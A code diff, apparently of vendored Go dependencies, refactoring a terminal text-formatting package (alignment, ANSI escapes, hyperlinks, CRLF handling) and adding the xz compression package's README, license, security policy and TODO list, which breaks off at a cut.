// - AlignJustify.Apply("Jon Snow", 12) returns "Jon Snow"
|
||||
// - AlignRight.Apply("Jon Snow", 12) returns " Jon Snow"
|
||||
// - AlignAuto.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
func (a Align) Apply(text string, maxLength int) string {
|
||||
text = a.trimString(text)
|
||||
aComputed := a
|
||||
if aComputed == AlignAuto {
|
||||
_, err := strconv.ParseFloat(text, 64)
|
||||
if err == nil { // was able to parse a number out of the string
|
||||
aComputed = AlignRight
|
||||
} else {
|
||||
aComputed = AlignLeft
|
||||
}
|
||||
}
|
||||
|
||||
text = aComputed.trimString(text)
|
||||
sLen := utf8.RuneCountInString(text)
|
||||
sLenWoE := RuneWidthWithoutEscSequences(text)
|
||||
numEscChars := sLen - sLenWoE
|
||||
|
||||
// now, align the text
|
||||
switch a {
|
||||
switch aComputed {
|
||||
case AlignDefault, AlignLeft:
|
||||
return fmt.Sprintf("%-"+strconv.Itoa(maxLength+numEscChars)+"s", text)
|
||||
case AlignCenter:
|
||||
if sLenWoE < maxLength {
|
||||
// left pad with half the number of spaces needed before using %text
|
||||
return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s",
|
||||
text+strings.Repeat(" ", int((maxLength-sLenWoE)/2)))
|
||||
text+strings.Repeat(" ", (maxLength-sLenWoE)/2))
|
||||
}
|
||||
case AlignJustify:
|
||||
return a.justifyText(text, sLenWoE, maxLength)
|
||||
return justifyText(text, sLenWoE, maxLength)
|
||||
}
|
||||
return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s", text)
|
||||
}
|
||||
@@ -77,16 +89,34 @@ func (a Align) MarkdownProperty() string {
|
||||
}
|
||||
}
|
||||
|
||||
func (a Align) justifyText(text string, textLength int, maxLength int) string {
|
||||
func (a Align) trimString(text string) string {
|
||||
switch a {
|
||||
case AlignDefault, AlignLeft:
|
||||
if strings.HasSuffix(text, " ") {
|
||||
return strings.TrimRight(text, " ")
|
||||
}
|
||||
case AlignRight:
|
||||
if strings.HasPrefix(text, " ") {
|
||||
return strings.TrimLeft(text, " ")
|
||||
}
|
||||
default:
|
||||
if strings.HasPrefix(text, " ") || strings.HasSuffix(text, " ") {
|
||||
return strings.Trim(text, " ")
|
||||
}
|
||||
}
|
||||
return text
|
||||
}
|
||||
|
||||
func justifyText(text string, textLength int, maxLength int) string {
|
||||
// split the text into individual words
|
||||
wordsUnfiltered := strings.Split(text, " ")
|
||||
words := Filter(wordsUnfiltered, func(item string) bool {
|
||||
words := Filter(strings.Split(text, " "), func(item string) bool {
|
||||
return item != ""
|
||||
})
|
||||
// empty string implies spaces for maxLength
|
||||
// empty string implies result is just spaces for maxLength
|
||||
if len(words) == 0 {
|
||||
return strings.Repeat(" ", maxLength)
|
||||
}
|
||||
|
||||
// get the number of spaces to insert into the text
|
||||
numSpacesNeeded := maxLength - textLength + strings.Count(text, " ")
|
||||
numSpacesNeededBetweenWords := 0
|
||||
@@ -117,21 +147,3 @@ func (a Align) justifyText(text string, textLength int, maxLength int) string {
|
||||
}
|
||||
return outText.String()
|
||||
}
|
||||
|
||||
func (a Align) trimString(text string) string {
|
||||
switch a {
|
||||
case AlignDefault, AlignLeft:
|
||||
if strings.HasSuffix(text, " ") {
|
||||
return strings.TrimRight(text, " ")
|
||||
}
|
||||
case AlignRight:
|
||||
if strings.HasPrefix(text, " ") {
|
||||
return strings.TrimLeft(text, " ")
|
||||
}
|
||||
default:
|
||||
if strings.HasPrefix(text, " ") || strings.HasSuffix(text, " ") {
|
||||
return strings.Trim(text, " ")
|
||||
}
|
||||
}
|
||||
return text
|
||||
}
|
||||
+4
-2
@@ -8,7 +8,8 @@ var ANSICodesSupported = areANSICodesSupported()
|
||||
|
||||
// Escape encodes the string with the ANSI Escape Sequence.
|
||||
// For ex.:
|
||||
// Escape("Ghost", "") == "Ghost"
|
||||
//
|
||||
// Escape("Ghost", "") == "Ghost"
|
||||
// Escape("Ghost", "\x1b[91m") == "\x1b[91mGhost\x1b[0m"
|
||||
// Escape("\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
|
||||
// Escape("Nymeria\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
|
||||
@@ -30,7 +31,8 @@ func Escape(str string, escapeSeq string) string {
|
||||
|
||||
// StripEscape strips all ANSI Escape Sequence from the string.
|
||||
// For ex.:
|
||||
// StripEscape("Ghost") == "Ghost"
|
||||
//
|
||||
// StripEscape("Ghost") == "Ghost"
|
||||
// StripEscape("\x1b[91mGhost\x1b[0m") == "Ghost"
|
||||
// StripEscape("\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "GhostLady"
|
||||
// StripEscape("\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "NymeriaGhostLady"
|
||||
|
||||
+1
-3
@@ -10,9 +10,7 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
enableVTPMutex = sync.Mutex{}
|
||||
)
|
||||
var enableVTPMutex = sync.Mutex{}
|
||||
|
||||
func areANSICodesSupported() bool {
|
||||
enableVTPMutex.Lock()
|
||||
|
||||
+4
-8
@@ -8,9 +8,7 @@ import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
colorsEnabled = areANSICodesSupported()
|
||||
)
|
||||
var colorsEnabled = areANSICodesSupported()
|
||||
|
||||
// DisableColors (forcefully) disables color coding globally.
|
||||
func DisableColors() {
|
||||
@@ -23,7 +21,7 @@ func EnableColors() {
|
||||
}
|
||||
|
||||
// The logic here is inspired from github.com/fatih/color; the following is
|
||||
// the the bare minimum logic required to print Colored to the console.
|
||||
// the bare minimum logic required to print Colored to the console.
|
||||
// The differences:
|
||||
// * This one caches the escape sequences for cases with multiple colors
|
||||
// * This one handles cases where the incoming already has colors in the
|
||||
@@ -123,10 +121,8 @@ func (c Color) Sprintf(format string, a ...interface{}) string {
|
||||
// Example: Colors{FgCyan, BgBlack}
|
||||
type Colors []Color
|
||||
|
||||
var (
|
||||
// colorsSeqMap caches the escape sequence for a set of colors
|
||||
colorsSeqMap = sync.Map{}
|
||||
)
|
||||
// colorsSeqMap caches the escape sequence for a set of colors
|
||||
var colorsSeqMap = sync.Map{}
|
||||
|
||||
// EscapeSeq returns the ANSI escape sequence for the colors set.
|
||||
func (c Colors) EscapeSeq() string {
|
||||
|
||||
+44
-46
@@ -1,48 +1,46 @@
|
||||
package text
|
||||
|
||||
var (
|
||||
// colorCSSClassMap contains the equivalent CSS-class for all colors
|
||||
colorCSSClassMap = map[Color]string{
|
||||
Bold: "bold",
|
||||
Faint: "faint",
|
||||
Italic: "italic",
|
||||
Underline: "underline",
|
||||
BlinkSlow: "blink-slow",
|
||||
BlinkRapid: "blink-rapid",
|
||||
ReverseVideo: "reverse-video",
|
||||
Concealed: "concealed",
|
||||
CrossedOut: "crossed-out",
|
||||
FgBlack: "fg-black",
|
||||
FgRed: "fg-red",
|
||||
FgGreen: "fg-green",
|
||||
FgYellow: "fg-yellow",
|
||||
FgBlue: "fg-blue",
|
||||
FgMagenta: "fg-magenta",
|
||||
FgCyan: "fg-cyan",
|
||||
FgWhite: "fg-white",
|
||||
FgHiBlack: "fg-hi-black",
|
||||
FgHiRed: "fg-hi-red",
|
||||
FgHiGreen: "fg-hi-green",
|
||||
FgHiYellow: "fg-hi-yellow",
|
||||
FgHiBlue: "fg-hi-blue",
|
||||
FgHiMagenta: "fg-hi-magenta",
|
||||
FgHiCyan: "fg-hi-cyan",
|
||||
FgHiWhite: "fg-hi-white",
|
||||
BgBlack: "bg-black",
|
||||
BgRed: "bg-red",
|
||||
BgGreen: "bg-green",
|
||||
BgYellow: "bg-yellow",
|
||||
BgBlue: "bg-blue",
|
||||
BgMagenta: "bg-magenta",
|
||||
BgCyan: "bg-cyan",
|
||||
BgWhite: "bg-white",
|
||||
BgHiBlack: "bg-hi-black",
|
||||
BgHiRed: "bg-hi-red",
|
||||
BgHiGreen: "bg-hi-green",
|
||||
BgHiYellow: "bg-hi-yellow",
|
||||
BgHiBlue: "bg-hi-blue",
|
||||
BgHiMagenta: "bg-hi-magenta",
|
||||
BgHiCyan: "bg-hi-cyan",
|
||||
BgHiWhite: "bg-hi-white",
|
||||
}
|
||||
)
|
||||
// colorCSSClassMap contains the equivalent CSS-class for all colors
|
||||
var colorCSSClassMap = map[Color]string{
|
||||
Bold: "bold",
|
||||
Faint: "faint",
|
||||
Italic: "italic",
|
||||
Underline: "underline",
|
||||
BlinkSlow: "blink-slow",
|
||||
BlinkRapid: "blink-rapid",
|
||||
ReverseVideo: "reverse-video",
|
||||
Concealed: "concealed",
|
||||
CrossedOut: "crossed-out",
|
||||
FgBlack: "fg-black",
|
||||
FgRed: "fg-red",
|
||||
FgGreen: "fg-green",
|
||||
FgYellow: "fg-yellow",
|
||||
FgBlue: "fg-blue",
|
||||
FgMagenta: "fg-magenta",
|
||||
FgCyan: "fg-cyan",
|
||||
FgWhite: "fg-white",
|
||||
FgHiBlack: "fg-hi-black",
|
||||
FgHiRed: "fg-hi-red",
|
||||
FgHiGreen: "fg-hi-green",
|
||||
FgHiYellow: "fg-hi-yellow",
|
||||
FgHiBlue: "fg-hi-blue",
|
||||
FgHiMagenta: "fg-hi-magenta",
|
||||
FgHiCyan: "fg-hi-cyan",
|
||||
FgHiWhite: "fg-hi-white",
|
||||
BgBlack: "bg-black",
|
||||
BgRed: "bg-red",
|
||||
BgGreen: "bg-green",
|
||||
BgYellow: "bg-yellow",
|
||||
BgBlue: "bg-blue",
|
||||
BgMagenta: "bg-magenta",
|
||||
BgCyan: "bg-cyan",
|
||||
BgWhite: "bg-white",
|
||||
BgHiBlack: "bg-hi-black",
|
||||
BgHiRed: "bg-hi-red",
|
||||
BgHiGreen: "bg-hi-green",
|
||||
BgHiYellow: "bg-hi-yellow",
|
||||
BgHiBlue: "bg-hi-blue",
|
||||
BgHiMagenta: "bg-hi-magenta",
|
||||
BgHiCyan: "bg-hi-cyan",
|
||||
BgHiWhite: "bg-hi-white",
|
||||
}
|
||||
-1
@@ -47,5 +47,4 @@ func (e *escSeq) InspectRune(r rune) {
|
||||
}
|
||||
e.content.WriteRune(r)
|
||||
}
|
||||
return
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
package text
|
||||
|
||||
import "fmt"
|
||||
|
||||
func Hyperlink(url, text string) string {
|
||||
if url == "" {
|
||||
return text
|
||||
}
|
||||
if text == "" {
|
||||
return url
|
||||
}
|
||||
// source https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda
|
||||
return fmt.Sprintf("\x1b]8;;%s\x1b\\%s\x1b]8;;\x1b\\", url, text)
|
||||
}
|
||||
+92
-39
@@ -13,11 +13,12 @@ var (
|
||||
)
|
||||
|
||||
// InsertEveryN inserts the rune every N characters in the string. For ex.:
|
||||
// InsertEveryN("Ghost", '-', 1) == "G-h-o-s-t"
|
||||
// InsertEveryN("Ghost", '-', 2) == "Gh-os-t"
|
||||
// InsertEveryN("Ghost", '-', 3) == "Gho-st"
|
||||
// InsertEveryN("Ghost", '-', 4) == "Ghos-t"
|
||||
// InsertEveryN("Ghost", '-', 5) == "Ghost"
|
||||
//
|
||||
// InsertEveryN("Ghost", '-', 1) == "G-h-o-s-t"
|
||||
// InsertEveryN("Ghost", '-', 2) == "Gh-os-t"
|
||||
// InsertEveryN("Ghost", '-', 3) == "Gho-st"
|
||||
// InsertEveryN("Ghost", '-', 4) == "Ghos-t"
|
||||
// InsertEveryN("Ghost", '-', 5) == "Ghost"
|
||||
func InsertEveryN(str string, runeToInsert rune, n int) string {
|
||||
if n <= 0 {
|
||||
return str
|
||||
@@ -47,7 +48,8 @@ func InsertEveryN(str string, runeToInsert rune, n int) string {
|
||||
|
||||
// LongestLineLen returns the length of the longest "line" within the
|
||||
// argument string. For ex.:
|
||||
// LongestLineLen("Ghost!\nCome back here!\nRight now!") == 15
|
||||
//
|
||||
// LongestLineLen("Ghost!\nCome back here!\nRight now!") == 15
|
||||
func LongestLineLen(str string) int {
|
||||
maxLength, currLength, eSeq := 0, 0, escSeq{}
|
||||
for _, c := range str {
|
||||
@@ -91,11 +93,12 @@ func OverrideRuneWidthEastAsianWidth(val bool) {
|
||||
// Pad pads the given string with as many characters as needed to make it as
|
||||
// long as specified (maxLen). This function does not count escape sequences
|
||||
// while calculating length of the string. Ex.:
|
||||
// Pad("Ghost", 0, ' ') == "Ghost"
|
||||
// Pad("Ghost", 3, ' ') == "Ghost"
|
||||
// Pad("Ghost", 5, ' ') == "Ghost"
|
||||
// Pad("Ghost", 7, ' ') == "Ghost "
|
||||
// Pad("Ghost", 10, '.') == "Ghost....."
|
||||
//
|
||||
// Pad("Ghost", 0, ' ') == "Ghost"
|
||||
// Pad("Ghost", 3, ' ') == "Ghost"
|
||||
// Pad("Ghost", 5, ' ') == "Ghost"
|
||||
// Pad("Ghost", 7, ' ') == "Ghost "
|
||||
// Pad("Ghost", 10, '.') == "Ghost....."
|
||||
func Pad(str string, maxLen int, paddingChar rune) string {
|
||||
strLen := RuneWidthWithoutEscSequences(str)
|
||||
if strLen < maxLen {
|
||||
@@ -104,13 +107,57 @@ func Pad(str string, maxLen int, paddingChar rune) string {
|
||||
return str
|
||||
}
|
||||
|
||||
// ProcessCRLF converts "\r\n" to "\n", and processes lone "\r" by moving the
|
||||
// cursor/carriage to the start of the line and overwrites the contents
|
||||
// accordingly. Ex.:
|
||||
//
|
||||
// ProcessCRLF("abc") == "abc"
|
||||
// ProcessCRLF("abc\r\ndef") == "abc\ndef"
|
||||
// ProcessCRLF("abc\r\ndef\rghi") == "abc\nghi"
|
||||
// ProcessCRLF("abc\r\ndef\rghi\njkl") == "abc\nghi\njkl"
|
||||
// ProcessCRLF("abc\r\ndef\rghi\njkl\r") == "abc\nghi\njkl"
|
||||
// ProcessCRLF("abc\r\ndef\rghi\rjkl\rmn") == "abc\nmnl"
|
||||
func ProcessCRLF(str string) string {
|
||||
str = strings.ReplaceAll(str, "\r\n", "\n")
|
||||
if !strings.Contains(str, "\r") {
|
||||
return str
|
||||
}
|
||||
|
||||
lines := strings.Split(str, "\n")
|
||||
for lineIdx, line := range lines {
|
||||
if !strings.Contains(line, "\r") {
|
||||
continue
|
||||
}
|
||||
|
||||
lineRunes, newLineRunes := []rune(line), make([]rune, 0)
|
||||
for idx, realIdx := 0, 0; idx < len(lineRunes); idx++ {
|
||||
// if a CR, move "cursor" back to beginning of line
|
||||
if lineRunes[idx] == '\r' {
|
||||
realIdx = 0
|
||||
continue
|
||||
}
|
||||
|
||||
// if cursor is not at end, overwrite
|
||||
if realIdx < len(newLineRunes) {
|
||||
newLineRunes[realIdx] = lineRunes[idx]
|
||||
} else { // else append
|
||||
newLineRunes = append(newLineRunes, lineRunes[idx])
|
||||
}
|
||||
realIdx++
|
||||
}
|
||||
lines[lineIdx] = string(newLineRunes)
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
// RepeatAndTrim repeats the given string until it is as long as maxRunes.
|
||||
// For ex.:
|
||||
// RepeatAndTrim("", 5) == ""
|
||||
// RepeatAndTrim("Ghost", 0) == ""
|
||||
// RepeatAndTrim("Ghost", 5) == "Ghost"
|
||||
// RepeatAndTrim("Ghost", 7) == "GhostGh"
|
||||
// RepeatAndTrim("Ghost", 10) == "GhostGhost"
|
||||
//
|
||||
// RepeatAndTrim("", 5) == ""
|
||||
// RepeatAndTrim("Ghost", 0) == ""
|
||||
// RepeatAndTrim("Ghost", 5) == "Ghost"
|
||||
// RepeatAndTrim("Ghost", 7) == "GhostGh"
|
||||
// RepeatAndTrim("Ghost", 10) == "GhostGhost"
|
||||
func RepeatAndTrim(str string, maxRunes int) string {
|
||||
if str == "" || maxRunes == 0 {
|
||||
return ""
|
||||
@@ -123,10 +170,12 @@ func RepeatAndTrim(str string, maxRunes int) string {
|
||||
|
||||
// RuneCount is similar to utf8.RuneCountInString, except for the fact that it
|
||||
// ignores escape sequences while counting. For ex.:
|
||||
// RuneCount("") == 0
|
||||
// RuneCount("Ghost") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0") == 5
|
||||
//
|
||||
// RuneCount("") == 0
|
||||
// RuneCount("Ghost") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneCount("\x1b[33mGhost\x1b[0") == 5
|
||||
//
|
||||
// Deprecated: in favor of RuneWidthWithoutEscSequences
|
||||
func RuneCount(str string) int {
|
||||
return RuneWidthWithoutEscSequences(str)
|
||||
@@ -135,21 +184,23 @@ func RuneCount(str string) int {
|
||||
// RuneWidth returns the mostly accurate character-width of the rune. This is
|
||||
// not 100% accurate as the character width is usually dependent on the
|
||||
// typeface (font) used in the console/terminal. For ex.:
|
||||
// RuneWidth('A') == 1
|
||||
// RuneWidth('ツ') == 2
|
||||
// RuneWidth('⊙') == 1
|
||||
// RuneWidth('︿') == 2
|
||||
// RuneWidth(0x27) == 0
|
||||
//
|
||||
// RuneWidth('A') == 1
|
||||
// RuneWidth('ツ') == 2
|
||||
// RuneWidth('⊙') == 1
|
||||
// RuneWidth('︿') == 2
|
||||
// RuneWidth(0x27) == 0
|
||||
func RuneWidth(r rune) int {
|
||||
return rwCondition.RuneWidth(r)
|
||||
}
|
||||
|
||||
// RuneWidthWithoutEscSequences is similar to RuneWidth, except for the fact
|
||||
// that it ignores escape sequences while counting. For ex.:
|
||||
// RuneWidthWithoutEscSequences("") == 0
|
||||
// RuneWidthWithoutEscSequences("Ghost") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0") == 5
|
||||
//
|
||||
// RuneWidthWithoutEscSequences("") == 0
|
||||
// RuneWidthWithoutEscSequences("Ghost") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0m") == 5
|
||||
// RuneWidthWithoutEscSequences("\x1b[33mGhost\x1b[0") == 5
|
||||
func RuneWidthWithoutEscSequences(str string) int {
|
||||
count, eSeq := 0, escSeq{}
|
||||
for _, c := range str {
|
||||
@@ -166,12 +217,13 @@ func RuneWidthWithoutEscSequences(str string) int {
|
||||
}
|
||||
|
||||
// Snip returns the given string with a fixed length. For ex.:
|
||||
// Snip("Ghost", 0, "~") == "Ghost"
|
||||
// Snip("Ghost", 1, "~") == "~"
|
||||
// Snip("Ghost", 3, "~") == "Gh~"
|
||||
// Snip("Ghost", 5, "~") == "Ghost"
|
||||
// Snip("Ghost", 7, "~") == "Ghost "
|
||||
// Snip("\x1b[33mGhost\x1b[0m", 7, "~") == "\x1b[33mGhost\x1b[0m "
|
||||
//
|
||||
// Snip("Ghost", 0, "~") == "Ghost"
|
||||
// Snip("Ghost", 1, "~") == "~"
|
||||
// Snip("Ghost", 3, "~") == "Gh~"
|
||||
// Snip("Ghost", 5, "~") == "Ghost"
|
||||
// Snip("Ghost", 7, "~") == "Ghost "
|
||||
// Snip("\x1b[33mGhost\x1b[0m", 7, "~") == "\x1b[33mGhost\x1b[0m "
|
||||
func Snip(str string, length int, snipIndicator string) string {
|
||||
if length > 0 {
|
||||
lenStr := RuneWidthWithoutEscSequences(str)
|
||||
@@ -185,10 +237,11 @@ func Snip(str string, length int, snipIndicator string) string {
|
||||
|
||||
// Trim trims a string to the given length while ignoring escape sequences. For
|
||||
// ex.:
|
||||
// Trim("Ghost", 3) == "Gho"
|
||||
// Trim("Ghost", 6) == "Ghost"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 3) == "\x1b[33mGho\x1b[0m"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 6) == "\x1b[33mGhost\x1b[0m"
|
||||
//
|
||||
// Trim("Ghost", 3) == "Gho"
|
||||
// Trim("Ghost", 6) == "Ghost"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 3) == "\x1b[33mGho\x1b[0m"
|
||||
// Trim("\x1b[33mGhost\x1b[0m", 6) == "\x1b[33mGhost\x1b[0m"
|
||||
func Trim(str string, maxLen int) string {
|
||||
if maxLen <= 0 {
|
||||
return ""
|
||||
|
||||
+7
-7
@@ -37,9 +37,9 @@ var (
|
||||
type Transformer func(val interface{}) string
|
||||
|
||||
// NewNumberTransformer returns a number Transformer that:
|
||||
// * transforms the number as directed by 'format' (ex.: %.2f)
|
||||
// * colors negative values Red
|
||||
// * colors positive values Green
|
||||
// - transforms the number as directed by 'format' (ex.: %.2f)
|
||||
// - colors negative values Red
|
||||
// - colors positive values Green
|
||||
func NewNumberTransformer(format string) Transformer {
|
||||
return func(val interface{}) string {
|
||||
if valStr := transformInt(format, val); valStr != "" {
|
||||
@@ -79,7 +79,7 @@ func transformInt(format string, val interface{}) string {
|
||||
return transform(int64(number))
|
||||
}
|
||||
if number, ok := val.(int64); ok {
|
||||
return transform(int64(number))
|
||||
return transform(number)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -105,7 +105,7 @@ func transformUint(format string, val interface{}) string {
|
||||
return transform(uint64(number))
|
||||
}
|
||||
if number, ok := val.(uint64); ok {
|
||||
return transform(uint64(number))
|
||||
return transform(number)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -125,7 +125,7 @@ func transformFloat(format string, val interface{}) string {
|
||||
return transform(float64(number))
|
||||
}
|
||||
if number, ok := val.(float64); ok {
|
||||
return transform(float64(number))
|
||||
return transform(number)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -137,7 +137,7 @@ func NewJSONTransformer(prefix string, indent string) Transformer {
|
||||
if valStr, ok := val.(string); ok {
|
||||
var b bytes.Buffer
|
||||
if err := json.Indent(&b, []byte(strings.TrimSpace(valStr)), prefix, indent); err == nil {
|
||||
return string(b.Bytes())
|
||||
return b.String()
|
||||
}
|
||||
} else if b, err := json.MarshalIndent(val, prefix, indent); err == nil {
|
||||
return string(b)
|
||||
|
||||
+12
-12
@@ -14,12 +14,12 @@ const (
|
||||
)
|
||||
|
||||
// Apply aligns the lines vertically. For ex.:
|
||||
// * VAlignTop.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// * VAlignMiddle.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// * VAlignBottom.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
// - VAlignTop.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// - VAlignMiddle.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// - VAlignBottom.Apply({"Game", "Of", "Thrones"}, 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
func (va VAlign) Apply(lines []string, maxLines int) []string {
|
||||
if len(lines) == maxLines {
|
||||
return lines
|
||||
@@ -42,12 +42,12 @@ func (va VAlign) Apply(lines []string, maxLines int) []string {
|
||||
}
|
||||
|
||||
// ApplyStr aligns the string (of 1 or more lines) vertically. For ex.:
|
||||
// * VAlignTop.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// * VAlignMiddle.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// * VAlignBottom.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
// - VAlignTop.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"Game", "Of", "Thrones", "", ""}
|
||||
// - VAlignMiddle.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "Game", "Of", "Thrones", ""}
|
||||
// - VAlignBottom.ApplyStr("Game\nOf\nThrones", 5)
|
||||
// returns {"", "", "Game", "Of", "Thrones"}
|
||||
func (va VAlign) ApplyStr(text string, maxLines int) []string {
|
||||
return va.Apply(strings.Split(text, "\n"), maxLines)
|
||||
}
|
||||
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
# .gitignore
|
||||
|
||||
TODO.html
|
||||
README.html
|
||||
|
||||
lzma/writer.txt
|
||||
lzma/reader.txt
|
||||
|
||||
cmd/gxz/gxz
|
||||
cmd/xb/xb
|
||||
|
||||
# test executables
|
||||
*.test
|
||||
|
||||
# profile files
|
||||
*.out
|
||||
|
||||
# vim swap file
|
||||
.*.swp
|
||||
|
||||
# executables on windows
|
||||
*.exe
|
||||
|
||||
# default compression test file
|
||||
enwik8*
|
||||
|
||||
# file generated by example
|
||||
example.xz
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
Copyright (c) 2014-2022 Ulrich Kunitz
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* My name, Ulrich Kunitz, may not be used to endorse or promote products
|
||||
derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
# Package xz
|
||||
|
||||
This Go language package supports the reading and writing of xz
|
||||
compressed streams. It includes also a gxz command for compressing and
|
||||
decompressing data. The package is completely written in Go and doesn't
|
||||
have any dependency on any C code.
|
||||
|
||||
The package is currently under development. There might be bugs and APIs
|
||||
are not considered stable. At this time the package cannot compete with
|
||||
the xz tool regarding compression speed and size. The algorithms there
|
||||
have been developed over a long time and are highly optimized. However
|
||||
there are a number of improvements planned and I'm very optimistic about
|
||||
parallel compression and decompression. Stay tuned!
|
||||
|
||||
## Using the API
|
||||
|
||||
The following example program shows how to use the API.
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/ulikunitz/xz"
|
||||
)
|
||||
|
||||
func main() {
|
||||
const text = "The quick brown fox jumps over the lazy dog.\n"
|
||||
var buf bytes.Buffer
|
||||
// compress text
|
||||
w, err := xz.NewWriter(&buf)
|
||||
if err != nil {
|
||||
log.Fatalf("xz.NewWriter error %s", err)
|
||||
}
|
||||
if _, err := io.WriteString(w, text); err != nil {
|
||||
log.Fatalf("WriteString error %s", err)
|
||||
}
|
||||
if err := w.Close(); err != nil {
|
||||
log.Fatalf("w.Close error %s", err)
|
||||
}
|
||||
// decompress buffer and write output to stdout
|
||||
r, err := xz.NewReader(&buf)
|
||||
if err != nil {
|
||||
log.Fatalf("NewReader error %s", err)
|
||||
}
|
||||
if _, err = io.Copy(os.Stdout, r); err != nil {
|
||||
log.Fatalf("io.Copy error %s", err)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Documentation
|
||||
|
||||
You can find the full documentation at [pkg.go.dev](https://pkg.go.dev/github.com/ulikunitz/xz).
|
||||
|
||||
## Using the gxz compression tool
|
||||
|
||||
The package includes a gxz command line utility for compression and
|
||||
decompression.
|
||||
|
||||
Use following command for installation:
|
||||
|
||||
$ go get github.com/ulikunitz/xz/cmd/gxz
|
||||
|
||||
To test it call the following command.
|
||||
|
||||
$ gxz bigfile
|
||||
|
||||
After some time a much smaller file bigfile.xz will replace bigfile.
|
||||
To decompress it use the following command.
|
||||
|
||||
$ gxz -d bigfile.xz
|
||||
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
# Security Policy
|
||||
|
||||
## Supported Versions
|
||||
|
||||
Currently the last minor version v0.5.x is supported.
|
||||
|
||||
## Reporting a Vulnerability
|
||||
|
||||
Report a vulnerability by creating a Github issue at
|
||||
<https://github.com/ulikunitz/xz/issues>. Expect a response in a week.
|
||||
+372
@@ -0,0 +1,372 @@
|
||||
# TODO list
|
||||
|
||||
## Release v0.5.x
|
||||
|
||||
1. Support check flag in gxz command.
|
||||
|
||||
## Release v0.6
|
||||
|
||||
1. Review encoder and check for lzma improvements under xz.
|
||||
2. Fix binary tree matcher.
|
||||
3. Compare compression ratio with xz tool using comparable parameters and optimize parameters
|
||||
